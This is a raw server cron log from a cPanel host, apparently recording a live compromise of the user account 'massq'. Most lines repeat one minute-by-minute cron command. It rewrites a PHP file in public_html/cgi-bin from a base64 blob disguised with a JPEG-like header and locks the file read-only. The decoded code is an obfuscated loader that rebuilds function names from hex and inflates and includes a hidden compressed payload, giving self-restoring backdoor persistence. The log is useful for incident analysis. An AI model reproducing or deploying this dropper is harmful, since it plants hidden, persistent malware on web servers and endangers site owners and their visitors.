Nov 12 09:42:01 server CROND[30634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:42:01 server CROND[30635]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:43:01 server CROND[31688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:44:01 server CROND[32533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:45:01 server CROND[850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:45:01 server CROND[851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:45:01 server CROND[852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:46:01 server CROND[1732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:47:01 server CROND[2587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:48:01 server CROND[3360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:49:01 server CROND[4286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:50:01 server CROND[5123]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:50:01 server CROND[5124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:50:01 server CROND[5125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:50:01 server CROND[5129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:50:01 server CROND[5128]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 09:51:01 server CROND[5453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:52:01 server CROND[6326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:53:01 server CROND[7161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:54:01 server CROND[7732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:55:01 server CROND[8561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:55:01 server CROND[8562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
